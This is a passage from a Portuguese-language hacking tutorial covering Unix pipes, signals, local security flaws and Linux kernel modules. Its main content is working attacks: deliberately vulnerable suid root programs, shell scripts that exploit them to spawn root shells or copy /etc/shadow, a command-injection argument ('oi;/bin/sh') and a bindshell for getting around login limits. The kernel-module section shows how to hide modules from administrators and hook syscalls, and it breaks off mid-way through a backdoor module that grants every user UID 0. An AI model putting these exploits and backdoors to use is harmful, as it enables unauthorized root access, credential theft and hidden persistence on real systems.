*/close(pfds[0]);execlp("/bin/cat", "cat",arquivo, NULL);} else {close(0); /* Fecha entrada padrao(stdin) */dup(pfds[0]); /* Torna pfds[0] entrada padrao */close(pfds[1]);execlp("/usr/bin/grep", "grep",usuario, NULL); }}-------------------------------------------------------------------------Como podemos ver, este eh um esquema muito eficiente.A novidade resideem usarmos dup().Dup eh usado para duplicar um File Descriptor.SuaSintaxe eh:#include int dup(int oldfd);Maiores detalhes sobre esta funcao podem ser encontrados na sua man page.Agora que voce sabe o que sao pipes, e como cria-los vamos ver agora o que sao sinais, e para que servem.3.4. - Signals---------------Manipulacao de Sinais eh algo fundamental quando lidamos com IPC.Quandoum processo nao termina normalmente ele usualmente tente enviar um sinalindicando que algo estah errado.Os Signals(sinais) sao gerados porinterrupcoes de software que sao enviados para um processo quando um evento acontece.Sinais podem ser gerados sincronizadamentepor um erro em uma aplicacao, mas a maioria dos sinais nao agem sincronizadamente.Sinais podem ser enviados para um processo quando osistema detecta um evento de software, igual quando um usuario mandainterromper ou killar requisicoes de outro processo(kill).Sinais podem tambem serem enviados diretamente do kernel do SistemaOperacional quando um evento no hardware falha, como 'bus error' ou'illegal instruction'. O sistema define um set de sinais que podem serenviados para um processo.Alguns sinais param o recebimento de dados deum processo e outros sinais podem ser ignorados.Cada sinal possui umaacao padrao que pode ser uma das seguintes:* O sinal eh descartado apos ser recebido;* O Processo eh terminado apos o recebimento do sinal;* Um arquivo core eh escrito, entao o processo eh terminado;* Um Processo eh parado apos o recebimento de um sinal;Para maiores informacoes sobre as acoes de varios sinais consulte a manpage de 'sigaction' e 'kill'.Os MACROS referentes a varios sinais sao definidos no arquivo ,ele inclui, dentre outros, o seguintes macros:SIGHUP -> Hangup SIGINT -> InterrupcaoSIGQUIT -> SaidaSIGILL -> Instrucao IlegalSIGABRT -> Usado para AbortarSIGKILL -> KillSIGALRM -> Alarm ClockSIGCONT -> Continua um Processo ParadoSIGCHLD -> Para ou Sai(Enviado por um Processo Pai p/ um Filho).SIGSTOP -> Para um Processo.SIGFPE -> Operacoes Aritmeticas Erroneas.SIGPIPE -> Escreve em um pipe sem outro para ler ele.SIGSEGV -> Pessoal que gosta de overflows!!:).Sinal que indica referencia invalida de memoria.SIGTERM -> Sinal Terminal.SIGUSR1 -> Sinal 1 do usuario definido.SIGUSR2 -> Sinal 2 do usuario definido.SIGTSTP -> Sinal Terminal Parado, enviado para um processo parado.SIGTTIN -> Processo de tentativa de leitura em background.SIGTTOU -> Processo de tentativa de escrita em background.SIGBUS -> Bus error.SIGPOLL -> Evento nomeavel.SIGPROF -> Tempo de perfil(contorno) expirado.SIGSYS -> System Call errado(bad).SIGTRAP -> Laca(prende) Trace/breakpoint.SIGURG -> Dados de bandwidth alta estah disponivel em um socket.SIGVTALRM -> Marcador(timer) virtual expirado.SIGXCPU -> Tempo limite da CPU excedido.SIGXFSZ -> Tamanho limite de arquivo excedido.Os sinais podem ser numerados de 0 ateh 31.Funcoes:--------Existem duas funcoes mais comuns usadas para enviar sinais.Sao elas:int kill(int pid, int signal) - Usada para enviar um sinal para um processo, PID.Se PID eh maior que zero,o sinal eh enviado ao processo ao qualo process ID eh igual ao PID.Se PID ehigual a zero, o sinal eh enviado paratodos os processos, exceto os processosdo sistema(o que mandou enviar).int raise(int sig) - Envia o sinal sig para o programa em execucao. Atualmente raise() usa kill() para enviar o sinal para o programa em execucao:kill(getpid(), sig);Alem dessas duas funcoes, uma eh mais importante, a que manuseia ossinais.Eh a funcao signal().Sua sintaxe segue abaixo:#include void (*signal(int signum, void (*handler)(int)))(int);O system call 'signal' instala um novo manuseador de sinais para o sinalcom numero 'signum'.O manuseador de sinal eh setado para manusear oque deve estar especifico em uma funcao do usuario, ou um dos seguintesmacros:SIG_IGN -> Ignora o sinal.SIG_DFL -> Reseta o sinal para seu estado padrao.Vamos ver um exemplo abaixo, usando uma funcao do usuario para manipularsinais:-------------------------------- sig1.c ---------------------------------#include #include #include void sigproc();void quitproc();main(){signal(SIGINT,&sigproc);signal(SIGQUIT,&quitproc);printf("ctrl-c disabilitado use ctrl - \\ para sair do programa.\n");for(;;);}void sigproc(){signal(SIGINT,sigproc);printf("Se quer sair do programa digite ctrl - \\\n");}void quitproc(){printf("\nSaindo do Programa!!\n\n");exit(0);}--------------------------------------------------------------------------Compile este programa e depois tente sair dele usando 'Ctrl - c'.O Manuseio de sinais pode ser uma boa para um fucador, principalmente quando escrevemos DoS que consomem ciclos de maquina, e backdoors quecriam processos 'filhos'(fork()).Vamos analisar um exemplo disto abaixo:------------------------------- sig2.c ---------------------------------#include #include #include main() {int pid;if ((pid = fork()) < 0) {perror("fork");exit(1);}if (pid == 0){ /* Processo filho */signal(SIGQUIT, SIG_DFL);for(;;); /* loop infinito, demontra um exemplo apenas */ }else{ /* processo pai */printf("\nEnviando SIGQUIT para processo FILHO!\n\n");kill(pid,SIGQUIT);sleep(2); }printf("Continuando Execucao normal...\n");}-------------------------------------------------------------------------Execute o programa acima.Note o seguinte, o programa cria um processofilho, executa uma acao(loop infinito), o processo pai envia um SIGQUITpara terminar processo filho e depois o programa segue a sua execucao normal.Qual a utilidade disto para um fucador?? Algumas condicoes decorrida utilizam este conceito, enquanto se eleva uma uid para a execucao de um processo em 'background', envia-se um sinal para que sepossa tirar proveito disto.O Basico sobre sinais eh isto aih, treine na pratica que voce serah bemsucedido no manuseio deles.Neste tutorial foi descrito somente o basico,em breve mais coisas serao descritas, de uma olhada nos links quedisponibilizo no final.------------------------------------ 4. - PROBLEMAS SIMPLES DE SEGURANCA |------------------------------------Neste item pretendo enumerar alguns problemas de seguranca bastantecomuns e amplamente divulgados na Internet.Alguns conceitos sao bemabrangentes e algumas tecnicas envolvem ou nao o conceito de IPC.Esses problemas tendem a serem 'menosprezados' por grande parte dosprogramadores pois os mesmos se concentram mais na 'moda' do momento, ouseja, os programadores de preocupam com Buffer Overflows, mas se esquecemdas dezenas de outros problemas de seguranca que um programa pode vir aapresentar.4.1. - popen() + Environment-------------------------------popen() eh uma funcao bastante conhecida.Ela busca informacoes sobre alocalizacao de um arquivo usando chamadas para a Shell(BASH).Logo, emalguns casos ela pode estar vulneravel atraves do uso de variaveis Environment.No inicio do tutorial de IPC, eu coloquei um simples programaque interagia com outro usando pipe().Vamos adaptar este mesmo programapara ilustrar uma situacao de vulnerabilidade para nos:---------------------------- popen_bug.c -------------------------------#include #include #include FILE *alvo;main(){char *string = "HACKER";setuid(0);alvo = popen("./alvo","w"); /* Cria arquivo pipe */fprintf(alvo,"%s",string); /* Envia string para Programa */pclose(alvo); /* Fechar Arquivo Pipe */printf("\nArquivo Executado com Sucesso!\n");return 0;}------------------------------------------------------------------------Note que popen() abre um arquivo no diretorio atual.Se nos modificarmosnossa Environment PATH, ele irah abrir o arquivo alvo que desejarmos.Compile o programa acima e torne-o suid para que possamos ilustrar melhor.Abaixo segue um shell script que pode ser usado em /tmp para nos dar umaroot shell em cima da vulnerabilidade acima:---------------------------- detonaopen.sh -----------------------------#!/bin/sh# Detona popen()# Especifique o PATH correto, aonde se encontra# o arquivo bugado./usr/bin/clear/bin/echo "CRIANDO ARQUIVO QUE SERAH BACKDOOR!!"/bin/cat backdoor.c#include #include #include main(){setuid(0);execl("/bin/sh","sh",0);return 0;}_FIM_/bin/echo "CRIANDO SCRIPT ALVO"/bin/cat alvo/usr/bin/gcc -o backdoor backdoor.c/bin/chmod +s backdoor_FIM_/bin/chmod +x alvoexport PATH=./#Defina o PATH correto abaixo./usr/local/bin/popen_bug/bin/echo "PROGRAMA EXECUTADO COM SUCESSO!!"/bin/echo "LAH VEM SUID SHELL!!"./backdoor-----------------------------------------------------------------------Torne o arquivo acima executavel e depois execute-o.Verah que funcionaperfeitamente e a vulnerabilidade existe.Com o aumento do numero deprogramadores para Linux, estes esquemas que para muitos parece bobopodem representar um grande risco para a seguranca de uma rede.Este problema envolvendo Environments eh bastante comum em varias outrasfuncoes, vou demonstrar aqui somente com system() e shell scripts, masexeclp() e execvp() usam a Environment PATH, logo podem estar vulneraveisa implementacao eficaz desta tecnica.4.2. - Problemas com system()--------------------------------Esta eh uma funcao perigosissima, seja como for, jamais deve ser usada.Existem susbtitutas para ela que fazem a mesma coisa com alguns parametrosa mais de seguranca.Mas parece que os nossos 'bons' programadores naoquerem dar ouvidos a nossa 'boa' comunidade de seguranca, pois diversosprogramas continuam a usar esta funcao bugada.Vejamos abaixo, um programaexemplo, para ilustrarmos alguns problemas que envolvem esta funcao:----------------------------- system_bug1.c ------------------------------/* PROGRAMA BUGADO EM SYSTEM */#include #include #include #define ERRO -1main(int argc, char *argv[]){char comando[40];int protecao;if(argc < 2){printf("Uso: %s \n",argv[0]);exit(0);}protecao = strlen(argv[1]);if(protecao > 15){printf("\nUsuario Inexistente! Ferramenta de IDS logou voce!!\n");printf("Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:)\n\n");exit(ERRO);}else{setuid(0); /* Ilustraremos um suid root */sprintf(comando,"w %s",argv[1]);system(comando);}return 0;}--------------------------------------------------------------------------Compile-o normalmente de depois coloque-o como suid root 'chmod +s'.Digamos que voce se depare com um programa deste tipo numa rede qualquer,voce nao tem acesso ao codigo fonte, e pensa em seguir os seguintespassos:* Procura por suid:$ ls -l system_bug1-rwsr-sr-x 1 root root 12355 Jul 2 09:16 system_bug1Voce pensa: 'Oba!! Um programa suid root!!! Ele nao eh um programa famoso, logo deve ter bugs!!'* Aih voce decide investigar de forma suscinta executando ele:$ ./system_bug1Uso: ./system_bug1 Voce pensa: 'Eita, ele aceita parametros da linha de comando, uma string de caracters, pode estar vulneravel a buffer overflow'.* Entao voce decide investigar melhor e usa o comando strings:$ strings system_bug1 | less/lib/ld-linux.so.2__gmon_start__libc.so.6printfsystem__deregister_frame_infosprintf Note: %s para argv[0], devemos entao procurar algum '%' para argv[1];....w %s -> Olha ele aqui, podemos entao perceber que system() executa o.... comando w, recebendo argumento %s, provavelmente(no nosso caso com certeza eh) de sprintf(). Voce poderia exploitar este dito cujo 'na mao' digitando comando porcomando, mas irei descrever abaixo um shell script para que voce jah possair vendo mais coisas sobre 'programacao em BASH':--------------------------- detona_system.sh ----------------------------#!/bin/bash# Script para Exploitar um programa bugado# com system().Feito para tutorial de programacao# diversa.Desenvolvido por Nash Leon./usr/bin/clear/bin/echo "CRIANDO ARQUIVO QUE SERAH BACKDOOR!!"#Na linha abaixo comecamos a criar um arquivo .c(backdoor)/bin/cat 15){printf("\nUsuario Inexistente! Ferramenta de IDS logou voce!!\n");printf("Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:)\n\n");exit(ERRO);}else{setuid(0);sprintf(comando,"/usr/bin/w %s",argv[1]);system(comando);}return 0;}---------------------------------------------------------------------------Compile-o novamente e coloque-o suid root para ilustrarmos melhor.Para passarmos por ele, basta usarmos a 'malicia' que a shell nos proporciona, um exemplo segue abaixo no shell script:---------------------------- detona_system2.sh ----------------------------#!/bin/bash#Shell Script para copiar o shadow se aproveitando#de um programa bugado em system()/bin/echo "CRIANDO ARQUIVO COPIA SHADOW..."/bin/cat copia.sh#!/bin/sh/bin/cp /etc/shadow /home/nashleon/bin/chmod 777 /home/nashleon/shadow#EOF_FIM_/bin/chmod +x copia.sh/bin/echo "ARQUIVO CRIADO COM SUCESSO!!"/bin/echo "DETONANDO SYSTEM()!!"sleep 1PATH=.//crazy/my/ipc/system_bug "abcd;copia.sh"--------------------------------------------------------------------------Sem duvida que bastaria voce digitar o seguinte para cair numa suid shell:$ /path/system_bug2 "oi;/bin/sh"Coloquei o shell script mais uma vez para ir adiantando algo sobreprogramacao em shell script.Pense bem antes de user system() em umprograma qualquer, no caso acima, eles eram suid roots, sem duvida istoeh meio improvavel, mas tudo eh possivel nao devemos esquecer dascondicoes que envolvem sistemas NFS, SAMBA, acesso FTP diferenciado deSHELL, enfim, existem esquemas possiveis para se fazer em cima destavulnerabilidade.As variaveis Environment representam um perigoconsideravel, existem funcoes mais seguras que devem ser usadas ao invesde system, ou mesmos, procurar filtrar caracters, no entanto, os filtrosem alguns casos pode-se passar por eles tambem, recomendo mesmo eh a naoutilizacao desta funcao.4.3. - Problemas com Shell Scripts------------------------------------Assim como nos exemplos jah visto, problemas com Shell Scripts tambemsao comuns quando envolvem variaveis Environment.Ao inves de executarum dado comando especifico, voce poderah setar uma variavel environmentpara tirar proveito proprio.Por exemplo:#!/bin/shw#EOFVoce poderia setar a variavel PATH para './' ou qualquer dir e criar umarquivo w contendo instrucoes a serem executadas.Gostaria de tornar publico um problema muito frequente.Existem programasque 'dizem' nao permitir mais de um login por usuario.Sem duvida que umusuario leigo iria ser 'barrado' neste esquema, mas nao se deve confiarnestes programas, as formas de passar pelos mesmos sao bastante faceis,se voce deseja ter mais de um acesso a shell, 'passe' pelo /bin/login.Para isso, um esquema util eh executar uma bindshell, exemplo segueabaixo:--------------------------- NL_bindshell.c ------------------------------/* Simples programa que binda uma Shell a uma porta. Desenvolvido por Nash Leon vulgo coracaodeleao. [email protected] */#include #include #include #include #include #include #include #include /* Se quiser mudar o numero da porta abaixo, sinta-se a vontade */#define PORTA 20000#define ERRO -1int binda(){int Meusocket;int tamanho, conector;struct sockaddr_in hacker;struct sockaddr_in vitima;char engana[50];if(fork() == 0){vitima.sin_family=AF_INET;vitima.sin_addr.s_addr= htonl(INADDR_ANY);vitima.sin_port= htons(PORTA);bzero(&(vitima.sin_zero), 8);Meusocket = socket(AF_INET,SOCK_STREAM,0);if(Meusocket < 0){fprintf(stderr,"Erro em socket()!\n");exit(ERRO); }bind(Meusocket,(struct sockaddr *)&vitima,sizeof(vitima));if(bind < 0){fprintf(stderr,"Erro em bind()!\n");exit(ERRO);}listen(Meusocket,1);tamanho = sizeof(hacker);conector=accept(Meusocket,(struct sockaddr *)&hacker,&tamanho);if(conector < 0){fprintf(stderr,"Erro em accept()!\n"); }dup2(conector,0);dup2(conector,1);dup2(conector,2);execl("/bin/sh","sh",0);}}main(void){binda();}-----------------------------------------------------------------------Se voce nao sabe construir um programa igual a este acima, recomendo aleitura dos meus tutoriais basicos de sockets em C e o tutorial basicode backdoors em Linux, voce pode acha-los na pagina do Unsekurity Team.Esse programa acima une uma shell a uma porta alta do sistema, execute-oe depois tudo que voce precisa fazer eh dar um telnet para a porta alta.Outros problemas que envolvem os Shells Scripts residem nas permissoes,se um shell script eh suid root e possui problemas de Environment, osistema jah era, se o shell script eh world/writable ou seja, qualquerum pode escrever, o sistema tambem jah era, enfim, problemas com ShellScripts pode ser comum em usuarios menos experientes.Talvez em breve eudisponibilize algum material mais abrangente sobre os varios tipos deshell, fique atento!4.4. - Chamadas Para vi -----------------------Recentemente eu analisando um banco de dados muito usado e amplamenteconhecido no mundo Linux vi uma chamada para vi sem setar corretamente osparametros, logo, eh possivel que problemas envolvendo o vi ou algum outroeditor de texto com esses 'poderes' possa ser usado de forma maliciosa.Vejamos abaixo um simples exemplo ilustrativo deste problema:------------------------------- vi_bug.c --------------------------------#include #include #include main(int argc, char *argv[]){char banco[50];printf("Comecando interacao...\n");printf("Digite o nome do banco de dados: ");scanf("%49s",banco);setuid(0); /* Eleva uid */execl("/usr/bin/vi","vi",banco,0);return 0;}-------------------------------------------------------------------------Compile o programa acima e torne-o suid root para demonstrarmos de modobastante claro os problemas que isto possa vir a causar.Note que antes dele chamar a execucao de vi ele aumenta a uid efetiva,o que podemos fazer com isso eh executar o programa acima e quandoentrarmos no 'vi' basta digitarmos ':!sh' e cairemos numa shell suid root.se voce possui acesso somente ao banco de dados mSQL poderah esquematizaralgo neste sentido, alguns programas usam o editor recebendo como parametrouma environment(EDITOR), em alguns casos mudando-se a environment pode-setirar proveito em cima do programa.4.5. - Problemas com File Descriptors--------------------------------------O mah contrucao e uso de File Descriptors eh outro problema muito comum deseguranca.Irei descrever esquemas ultra-basico, este tutorial esta ficandoenorme, mas vai pegando os conceitos e expandindo com suas teorias.Vamos analisar o esquema abaixo:+ Vejamos as permissoes de um arquivo que soh o root pode ver:# ls -l /etc/shadow-rw------- 1 root root 479 Jun 24 08:22 /etc/shadowSomente o root tem permissao de leitura e escrita neste arquivo, comopodemos ver perfeitamente.+ Vamos analisar um simples programa que abre o arquivo /etc/shadow, mas que possui um problema com arquivo descriptor.------------------------------- fd_bug.c ---------------------------------#include #include main(){int fd;fd = open("/etc/shadow",0); /* Coloque outro se desejar */dup2(3,fd);execl("/bin/sh","sh",0);}---------------------------------------------------------------------------Note que o programa acima cria uma copia do file descriptor atraves de dup2().Isso eh muito comum no uso de sockets em programas servidores.+ Compile o programa acima e torne-o suid, depois como usuario normal, execute os passos abaixo:$ ./fd_bug$ cat /etc/shadowcat: /etc/shadow: Permission denied$ cat Eh o nome do nosso modulo carregado.Size -> Tamanho do modulo em bytes.Used by -> Este campo eh o que nos interessa, ele refere-se a uma especie de contador, pois ele nos diz quao frequentemente um modulo eh usado no sistema.O modulo soh pode ser removido quando este contador for igual a zero.Essa parte entre parenteses referem-se aos indicadores opcionais que sao strings de textos com mais informacoes sobre o LKM.Com essa informacao basica, vamos agora ver o que sao os systemcalls.5.4 - Systemcalls-----------------Todo Sistema Operacional tem algumas funcoes construidas sobre sua kernel,que sao usadas por toda operacao naquele sistema.As funcoes usadas peloLinux sao chamadas de systemcalls.Elas representam a transicao doUser-Space para o Kernel-Space.User-Space se refere a programacao C padraocomum em sistemas Linux, enquanto Kernel-Space se refere a programacao noespaco ou modo kernel, que eh o que estamos vendo, um modo diferente deprogramacao em relacao ao C padrao, e tambem, ambas se referem a parte damemoria ocupada por cada tipo desses de programacao(C e LKM).A abertura deum arquivo no User-Space eh representado pelo systemcall __NR_open noKernel Space, logo, o systemcall sys_open ou __NR_open eh o responsavelpela transicao entre um Space e outro.Para uma completa lista de todos ossystemcalls disponiveis em seu sistema, procure em/usr/include/sys/syscall.h.Aqui vem uma particularidade, como estamos emuma kernel 2.2.13(Slackware 7.0), o arquivo com os numeros das systemcallseh um header dentro desse citado anteriormente, logo podemos consulta-lo em/usr/include/asm/unistd.h .A notacao que usarei no decorrer deste tutorialeh a descrita nesse arquivo, ou seja, para o systemcall sys_open, usarei__NR_open.Pois pretendo jah ir programando diretamente para kerneis maisatuais, com notacao "mais atual".Caso queira consultar no modo antigo,poderah analisar o seguinte arquivo: /usr/include/bits/syscall.h , neleestao os defines referentes aos systemcalls em versoes antigas da kernel.Se voce notar verah que a diferenca reside somente na troca de SYS por__NR.Veja o que eh melhor para voce.Vamos analisar agora parte de um arquivo /usr/include/asm/unistd.h:#ifndef _ASM_I386_UNISTD_H_#define _ASM_I386_UNISTD_H_/* * This file contains the system call numbers. */#define __NR_exit 1#define __NR_fork 2#define __NR_read 3#define __NR_write 4#define __NR_open 5#define __NR_close 6#define __NR_waitpid 7#define __NR_creat 8#define __NR_link 9#define __NR_unlink 10#define __NR_execve 11#define __NR_chdir 12#define __NR_time 13#define __NR_mknod 14#define __NR_chmod 15#define __NR_lchown 16#define __NR_break 17#define __NR_oldstat 18#define __NR_lseek 19#define __NR_getpid 20#define __NR_mount 21#define __NR_umount 22#define __NR_setuid 23#define __NR_getuid 24#define __NR_stime 25#define __NR_ptrace 26#define __NR_alarm 27#define __NR_oldfstat 28#define __NR_pause 29#define __NR_utime 30......#define __NR_capset 185#define __NR_sigaltstack 186#define __NR_sendfile 187#define __NR_getpmsg 188 /* some people actually want streams */#define __NR_putpmsg 189 /* some people actually want streams */#define __NR_vfork 190Se voce notar no seu arquivo, cada systemcall possui um numerocorrespondente.Na versao da minha kernel, 2.2.13, existem 190 systemcallsdisponiveis.A kernel usa a interrupcao 0x80(sai para modo kernel) paragerenciar todo systemcall.O numero do systemcall e alguns argumentos saomovidos para alguns registradores(eax para o numero do systemcall, porexemplo).O numero do systemcall eh um index numa array de uma estruturakernel, chamada sys_call_table[].Esta estrutura mapeia o numero dosystemcall para o servico necessario da funcao,ou melhor dizendo, para servir a necessidade de uma funcao.A seguinte tabela abaixo lista os mais interessantes systemcalls com uma pequena descricao dos mesmos.Voce necessita conhecer o trabalho ou funcionamento exato desses systemcalls em ordem para fazer realmente LKMs eficientes. ------------------------------------------------------------------------| SYSTEMCALL | DESCRICAO | ------------------------------------------------------------------------|int __NR_brk(unsigned long new_brk) | Muda o tamanho de um DS(Segmento || | de Dados) usado. | ------------------------------------------------------------------------|int __NR_getuid() e | Systemcalls para gerenciamento de ||int __NR_setuid (uid_t uid) | UID e etc. | ------------------------------------------------------------------------|int __NR_fork(struct pt_regs regs); | System para a velha-conhecida || | funcao fork() no User-Space. | ------------------------------------------------------------------------| int __NR_get_kernel_sysms(struct | systemcall para acessar a tabela || kernel_sym *table) | kernel system. | ------------------------------------------------------------------------| int __NR_sethostname (char *name, | Responsavel por setar o hostname. | | int len); | | ------------------------------------------------------------------------| int __NR_gethostname(char *name, | Responsavel por pegar(capturar) o || int len); | hostname. | ------------------------------------------------------------------------| int __NR_chdir (const char *path); | Ambas as funcoes sao responsaveis || int __NR_fchdir (unsigned int fd); | por setar o diretorio atual(cd ..)| ------------------------------------------------------------------------| int __NR_chmod (const char | Funcoes de gerenciamento de || *filename, mode_t mode); | permissoes(chmod,chown,fchmod || int __NR_chown (const char | fchown). || *filename, mode_t mode); | || int __NR_fchmod (unsigned int | || fildes, mode_t mode); | || int __NR_fchown (unsigned int | || fildes, mode_t mode); | | ------------------------------------------------------------------------| int __NR_chroot (const char | Seta diretorio root(chroot). || *filename) | | ------------------------------------------------------------------------| int __NR_execve (struct pt_regs | Chama um processo.Este eh um | | regs) | systemcall importante, ele eh || | responsavel pela execucao de um || | arquivo (pt_regs eh o registrador || | stack). | ------------------------------------------------------------------------| long __NR_fcntl (unsigned int fd, | Muda caracteristicas de um || unsigned int cmd, unsigned long | arquivo(file descriptor) aberto. || arg); | | ------------------------------------------------------------------------| int __NR_link (const char | Systemcalls para gerenciamento || *oldname, const char *newname); | de hard/soft links. || int __NR_un(const char *name); | (linkar / deslinkar). | ------------------------------------------------------------------------| int __NR_rename(const char | Systemcall responsavel pela || *oldname, const char *newname); | renomeacao de um arquivo. | ------------------------------------------------------------------------| int __NR_rmdir (const char* name); | Remove um diretorio. | ------------------------------------------------------------------------| int __NR_mkdir (const *char | Cria um diretorio. || filename, int mode); | | ------------------------------------------------------------------------| int __NR_open (const char | Tudo concernente a abrir arquivos || *filename, int mode); | (criacao tambem), e tambem || int __NR_close (unsigned int fd); | fecha-los. | ------------------------------------------------------------------------| long __NR_read (struct inode *, | Systemcalls para escrever e ler || struct file *, char *,u_long); | em arquivos ou de arquivos. || long __NR_write(struct inode *, | || struct file *,cons char *,u_long);| | ------------------------------------------------------------------------| int __NR_getdents (unsigned int | Systemcall que pega(captura) || fd, struct dirent *dirent, | lista de arquivos. || unsigned int count); | (ls ... comando) | ------------------------------------------------------------------------| int __NR_readlink (const char | Le um link simbolico. || *path, char *buf, int bufsize); | | ------------------------------------------------------------------------| int __NR_select(int n, fd_set | Bom e velho select.Multiplexacao || *inp, fd_set *outp, fd_set | de I/O(Entrada e Saida). || *exp, struct timeval *tvp); | | ------------------------------------------------------------------------| int __NR_socketcall (int call, | Funcoes socket. || unsigned long args); | | ------------------------------------------------------------------------| unsigned long __NR_create_module | Carregar modulo. || (char *name, unsigned long size); | | ------------------------------------------------------------------------| int __NR_delete_module | Descarregar modulo. || (char *name); | | ------------------------------------------------------------------------| int __NR_query_module (const char | Query(informar) sobre um modulo. || *name, int which, void *buf, | || size_t bufsize, size_t *ret); | | ------------------------------------------------------------------------| long long __NR_llseek (struct | Equivalente a lseek no user space || inode *, struct file *, | || long long, int); | | ------------------------------------------------------------------------Para as intencoes de um hacker, estes sao os mais interessantessystemcalls.Caso voce venha a necessitar de algum systemcall especial,nao se apavore, voce pode trabalhar perfeitamente em cima desses descritosacima para implementar seu objetivo.5.5 - Kernel-Symbol-Table--------------------------Kernel-Symbol-Table ou Tabela de Simbolos do Kernel refere-se a uma tabelade simbolos usados pela kernel e que pode ser lida no arquivo /proc/ksyms.Para entendermos o conceito basico de systemcalls e modulos precisamosentender o que eh essa tabela.Voce pode dar uma olhada em seu arquivo/proc/ksyms( cat /proc/ksyms | more ), lah estarao listados todos ossimbolos kernel(kernel-symbol) exportados(publicos),que pode ser acessadopelo nosso LKM.Todo simbolo usado por um LKM(como uma funcao) eh tambemexportado para o publico, e eh tambem listado naquele arquivo.Issorepresenta um problema, pois um administrador experiente pode descobrirnosso LKM e derruba-lo(killa-lo).Existem diversos metodos para previnirque o administrador da rede possa ver o nosso LKM, um possivel metodosegue explicado abaixo:A versao 2.2.13 da kernel, existe algumas diferencas em relacao as versoesantigas.Nela, uma macro jah vem definida para nao exportar simbolos.EXPORT_NO_SYMBOLS;Basta acrescentarmos ele no init_module( ou em alguma funcao que naoqueiramos exportar simbolos.Esta macro eh equivalente a antiga register_symtab(NULL);5.6 - Tranformando Memoria do Kernel Space p/ User Space----------------------------------------------------------Aqui comeca a parte interessante.Os systemcalls pegam seus argumentos douser space(systemcalls sao implementados em envoltorios como libc), masnosso LKM roda no kernel space.Fazendo uma especie de 'transicao' eh possivel acessarmos um argumento alocado no user space de nosso modulokernel space.Tenha calma, mais abaixo isso tudo clareia!Olhe o seguinte systemcall:int sys_chdir (const char *path)Imagine que o sistema chama ele, e nos interceptamos este systemcall.Nos queremos checar o path que o usuario quer usar, entao nos temos queacessar const char *path.Se voce tentar acessar a variavel diretamentecomo:printk("%s\n", path);voce irah ter problemas.Lembre-se que voce estah no kernel space, vocenao pode ler memoria do user space facilmente.Para a transicao de dadonormal a seguinte funcao eh o modo mais facil de fazer:#include void copy_from_user(void *to, const void *from, unsigned long n);Vode poder usar a funcao acima para transicao de dados em geral.Coma funcao acima eh possivel convertermos dados da memoria do user spacepara a do kernel space.Mas e para o contrario(do kernel p/ o user)?Isto eh um pouco mais dificil porque nos nao podemos facilmente alocarmemoria no user space da nossa posicao no kernel space.Se nos pudermosmanusear este problema, nos poderemos usar:#include void copy_to_user(void *to, const void *from, unsigned long n);fazendo assim a atual conversao.Mas como alocar user space para o ponteiro *to?? O plaguez na phrack nos deu a melhor solucao:/* Nos necessitamos breckar(parar) o systemcall */static inline _syscall1(int, brk, void *, end_data_segment);...int ret, tmp;char *truc = OLDEXEC; /* Executavel normal que seria executado */char *nouveau = NEWEXEC; /* Executavel que serah executado */unsigned long mmm;mmm = current->mm->brk;ret = brk((void *) (mmm + 256));if (ret < 0) return ret;copy_to_user((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);...Voce pode perceber acima que nouveau se refere ao executavel que serahexecutado, assumindo assim a memoria do user space. current eh um ponteiropara a struct(estrutura) da aplicacao atual(a que estah sendo executada); mm eh eh o ponteiro para mm_struct - responsavel pelo gerenciamento dememoria daquele processo.Usando o systemcall brk em current-> mm->brk,nos estamos habilitados a incrementar o tamanho da area nao utilizada dodatasegment(segmento de dados).E como nos todos sabemos que alocacao dememoria eh feita jogando(manipulando dados) com o datasegment, entao nosincrementamos(aumentamos) o tamanho da area nao usada, temos que alocar algumas partes da memoria para o processo atual.Esta memoria pode serusada para copiar a memoria do kernel space para o user space(processoatual).Voce deve estar intrigado sobre a primeira linha do codigo acima:static inline _syscall1(int, brk, void *, end_data_segment);Esta linha ajuda-nos a usar o user space como funcoes no kernel space.Todafuncao do user space provida para nos(como fork, brk, open, read, write,..)eh representada por um macro _syscall(...).Entao nos podemos construir osystcall-macro para uma certa funcao user space(representada por umsystemcall); no exemplo acima foi usada brk.5.7 - Meios de Usar User Space como Funcoes--------------------------------------------Como foi visto no item anterior , nos usamos um syscall-macro paraconstruir nossa propria chamada brk, que eh parecida com a que conhecemosno user space(brk(2)).O codigo abaixo mostra o macro responsavel pelaconstrucao da funcao brk:#define _syscall1(type,name,type1,arg1) \type name(type1 arg1) \{ \long __res; \__asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \__syscall_return(type,__res); \}Esse codigo eh um pedaco do arquivo "/usr/include/asm/unistd.h".Naoprecisamos entender o completo funcionamento deste codigo, ele somentechama a interrupcao 0x80 com alguns argumentos providos pelo parametro_syscall1.O argumento name consiste do systemcall que nos necessitamos(o name eh expandido para __NR_name, que eh definido em asm/unistd.h).Foi por este modo que nos implementamos a funcao brk.Qualquer outra funcaocom muitos argumentos sao implementadas sobre outros macros(_syscallX, ondeX se refere ao numero de argumentos.No exemplo com brk(2), como brk possuisomente 1 argumento, o macro eh _syscall1.Um outro modo de implementar funcoes pode ser visto abaixo:int (*open)(char *, int, int); /* declara o prototipo da funcao. */open = sys_call_table[__NR_open]; /* manda o prototipo apontar para o systemcall. */Neste modo acima, nos nao precisamos usar qualquer macro systemcall, nossomente fizemos o ponteiro para a funcao apontar para a tabela sys_call.Um outro modo para implementar isto eh manipular os registradoresnecessarios.Voce deve saber que o Linux usa seletores de segmento paradiferenciar entre kernel space e user space.Argumentos usados comsystemcalls que foram editados no User-Space estao em algum lugar na seletor da fila de segmento de dados(DS), esse modo nao eh muito usado,por isso, nao pretendo disponibilizar ele neste tutorial, mas de uma olhada no Tutorial da The Hackers Choice para obter mais infos sobreisso.Com o que vimos ateh aqui jah podemos fazer um exemplo.Vejamos o simplesprograma abaixo:---------------------------- todos_root.c -----------------------------/* Exemplo de LKM que torna todo mundo com UID, GID e EUID iguais a 0. Desenvolvida por Nash Leon para tutorial de LKM. *//* Abaixo seguem os defines e includes necessarios */#define MODULE#define __KERNEL__#include #include #include #include #include #include #include /* Chamada para a tabela de system calls */extern void *sys_call_table[] ;/* Funcao que serah usada p/ "salvar" a configuracao antiga do usuario, assim como open acima, ela irah ser apontada para o systemcall que desejamos */int (*original_getuid)(); /* Nossa funcao backdoor para __NR_getuid */int back_get(){/* Compara uid atual, se for diferente de zero, ele irah transformar 